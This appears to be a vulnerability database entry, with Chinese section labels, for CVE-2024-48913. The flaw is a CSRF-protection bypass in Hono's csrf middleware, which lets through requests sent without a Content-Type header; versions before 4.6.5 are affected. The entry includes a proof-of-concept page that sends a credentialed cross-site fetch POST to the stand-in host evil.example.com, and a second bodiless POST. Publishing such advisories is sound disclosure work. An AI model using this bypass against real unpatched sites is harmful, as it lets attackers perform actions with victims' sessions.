CVE-2024-48913

描述

### Summary Bypass CSRF Middleware by a request without Content-Type herader. ### Details Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89 ### PoC ```server.js // server.js import { Hono } from 'hono' import { csrf }from 'hono/csrf' const app = new Hono() app.use(csrf()) app.get('/', (c) => { return c.html('Hello Hono!') }) app.post('/', async (c) => { console.log("executed") return c.text( await c.req.text()) }) Deno.serve(app.fetch) ``` ```poc.html <!-- PoC.html --> <script> async function myclick() { await fetch("http://evil.example.com", { method: "POST", credentials: "include", body:new Blob([`test`],{}), }); } </script> <input type="button" onclick="myclick()" value="run" /> ``` Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body. ```PoC2.js await fetch("http://localhost:8000", { method: "POST", credentials: "include"}); ``` ### Impact Bypass csrf protection implemented with hono csrf middleware.

受影響套件(1)

• npm/honofrom 0, < 4.6.5

CVSS 分數

參考連結(5)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2024-48913
• PATCHhttps://github.com/honojs/hono
• WEBhttps://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89
• WEBhttps://github.com/honojs/hono/commit/aa50e0ab77b5af8c53c50fe3b271892f8eeeea82
• WEBhttps://github.com/honojs/hono/security/advisories/GHSA-2234-fmw7-43wr